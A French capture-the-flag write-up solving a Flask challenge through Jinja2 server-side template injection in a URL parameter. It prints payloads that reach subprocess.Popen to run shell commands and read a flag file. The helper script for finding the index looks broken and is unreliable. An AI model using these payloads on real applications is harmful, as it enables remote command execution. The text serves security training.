Flask
Flag: StarHack{SSTI?NOOOOOOOOOOOO}
Challenge
Ce challenge tourne sur un docker et n'est pas disponible
Solution
Une fois avoir créé un compte et s'être connecté, on remarque que notre page affiche Hello, Welcome! et que dans l'url, on a ?welcome_message=Welcome!
.
Si on change le message, il s'affiche bien sur notre page. De là, on pense tout de suite à une SSTI Jinja2 grâce au titre du challenge.
L'objectif est de lire le fichier /app/flag.txt. Pour ça on peut s'appuyer sur HackTricks qui nous donne le payload suivant pour exécuter une commande (ici, lire un fichier) :
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
Il faut juste adapter le payload pour trouver le bon index pour __subclasses__, pour ça on va envoyer dans un premier temps
{{''.__class__.mro()[1].__subclasses__()}}
Maintenant, on parse le résultat en python pour trouver l'index
data = "[<class 'ty ... codedata.UCD'>]"
data = data.replace('>', '>').replace('<', '<').split(', ')
print([i for i, c, in enumerate(data.split(', ')) if 'Popen' in c])
# 351
On trouve 351, voici le payload mis à jour :
{{''.__class__.mro()[1].__subclasses__()[351]('cat /app/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

Dernière mise à jour
Cet article vous a-t-il été utile ?